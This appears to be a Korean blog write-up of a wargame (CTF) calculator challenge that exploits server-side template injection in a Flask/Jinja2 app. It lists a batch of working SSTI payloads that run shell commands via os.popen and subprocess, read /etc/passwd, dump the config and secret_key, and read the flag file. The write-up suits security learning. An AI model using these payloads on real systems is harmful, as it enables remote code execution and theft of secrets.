상세 컨텐츠

본문 제목

[wargame] calculator - web.h4ckingga.me:10000

카테고리 없음

by oose. 2025. 1. 11. 21:39

본문

워게임 사이트 : 

http://web.h4ckingga.me:10000/

 

Simple Calculator

 

web.h4ckingga.me:10000

 

선수 학습 : 

https://www.igloo.co.kr/security-information/웹-템플릿-엔진-기반의-ssti-취약점-분석/

 

웹 템플릿 엔진 기반의 SSTI 취약점 분석

01. SSTI 취약점을 이해하기 위한 사전 단계 SSTI(Server Side Template Injection)취약점은 웹 어플리케이션에 적용되어 있는 웹 템플릿 엔진(Web Template Engine)에 공격자의 공격 코드가 템플릿에 포함된 상태

www.igloo.co.kr

 

 

 

우선 ssti 취약점이 의심되는 사이트 유형은 다음과 같다.

=> 계산기 사이트, 검색 기능이 있는 사이트, 프로필 편집 사이트(사용자 입력을 처리하는 경우), 댓글 시스템 등. 

 

템플릿 엔진이 사용자의 입력을 그대로 처리하는 경우, 악의적인 사용자가 입력 필드에 템플릿 코드를 삽입하여 서버에서 임의의 코드를 실행할 수 있는 취약점이 발생할 수 있다.

 

 

 

 

우선 SSTI 취약점이 존재하는지 확인해보자.

주로 확인하는 방법을 써봤는데 에러가 난다.

 

 

계산기 사이트라는 점을 참고해서 config를 {{ }} 기호 없이 그냥 넣어보았다. 

 

config 클래스들이 출력되었다. 

(config 클래스를 출력하는 이유 : Flask의 경우 대부분의 정보들이 config 클래스에 포함되기 때문. 출력된 변수들을 통해 실제 경로 및 database 정보 등을 확인할 수 있다.)

 

 

 

SSTI 취약점이 존재한다는 것을 확인했으니 이제 본격적으로 공격을 시도해보자.

 

{{ 7 * 7 }}

{{ config }}

{{ config.items() }}

{{ config['secret_key'] }}

{{ "__class__.__mro__[1].__subclasses__()[index]('cat flag', shell=True, stdout=-1).communicate()" }}

{{ getattr('__class__', '__mro__')[1].__subclasses__()[index]('cat flag', shell=True, stdout=-1).communicate() }}

{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

{{ (config.__class__).__init__.__globals__['os'].popen('cat flag').read() }}

{{ request.__globals__['__builtins__']['__import__']('os').popen('id').read() }}

{{ self.TemplateReference.__context__.cycler.__init__.__globals__['os'].popen('id').read() }}

{{ self.TemplateReference.__context__.joiner.__init__.__globals__['os'].popen('id').read() }}

{{ self.TemplateReference.__context__.namespace.__init__.__globals__['os'].popen('id').read() }}

{{ get_flashed_messages.__globals__['__builtins__'].open('/etc/passwd').read() }}

{{ get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}

{{ url_for.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}

 

 

아직 subprocess.Popen 클래스의 인덱스를 몰라서 아래 payload 먼저 넣어보았다.

 

 

flag 파일이 보인다 !! 이를 읽어보자

 

payload : 

config.__class__.__init__.__globals__['os'].popen('cat flag').read()

 

++ open을 이용한 방법도 있다.

=> config.__class__.__init__.__globals__['__builtins__'].open('flag').read() 

끄읏

 

 

ssti 취약점 Payload가 잘 정리되어 있는 블로그(필터링 우회 방법) : 

https://me2nuk.com/SSTI-Vulnerability/ 

 

SSTI(Server Side Template Injection) 취약점이란?

SSTI(Server Side Template Injection) 취약점은 공격자가 서버측의 기본 템플릿 구문을 이용하여 악성 페이로드를 삽입 한 다음 서버 측에 실행되면서 생기는 취약점이며 웹 템플릿 엔진마다 사용되는 페

me2nuk.com